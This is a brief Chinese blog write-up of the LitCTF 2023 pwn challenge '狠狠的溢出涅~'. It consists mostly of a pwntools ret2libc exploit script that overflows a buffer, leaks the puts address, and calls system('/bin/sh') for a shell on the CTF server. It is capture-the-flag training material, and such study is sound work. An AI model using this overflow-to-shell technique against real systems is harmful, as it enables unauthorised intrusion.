编辑
2023-05-15
pwn
00
请注意,本文编写于 618 天前,最后修改于 618 天前,其中某些信息可能已经过时。

目录

[LitCTF 2023]狠狠的溢出涅~

惯例先检查:

image-20230515211814841

64位ida查看:

image-20230515212200898

直接通过ret2libc:

python
from pwn import* io = remote('node4.anna.nssctf.cn',28615) libc = ELF('./libc-2.31.so') elf = ELF('./pwn4') puts_plt = elf.plt['puts'] puts_got = elf.got['puts'] main = elf.sym['main'] ret = 0x0400556 pop_rdi = 0x4007d3 payload = b'\x00'+b'a'*(0x67)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main) io.sendafter(b':\n',payload) io.recvuntil(b'Received\n') puts_addr = u64(io.recv(6).ljust(8,b'\x00')) print(hex(puts_addr)) libc_base = puts_addr - libc.symbols['puts'] binsh = libc_base + next(libc.search(b'/bin/sh')) system = libc_base + libc.sym['system'] payload = b'\x00'+b'a'*(0x67)+p64(ret)+p64(pop_rdi)+p64(binsh)+p64(system)+p64(main) io.sendline(payload) io.interactive()
如果对你有用的话,可以打赏哦
打赏
ali pay
wechat pay

本文作者:Hyrink

本文链接:

版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!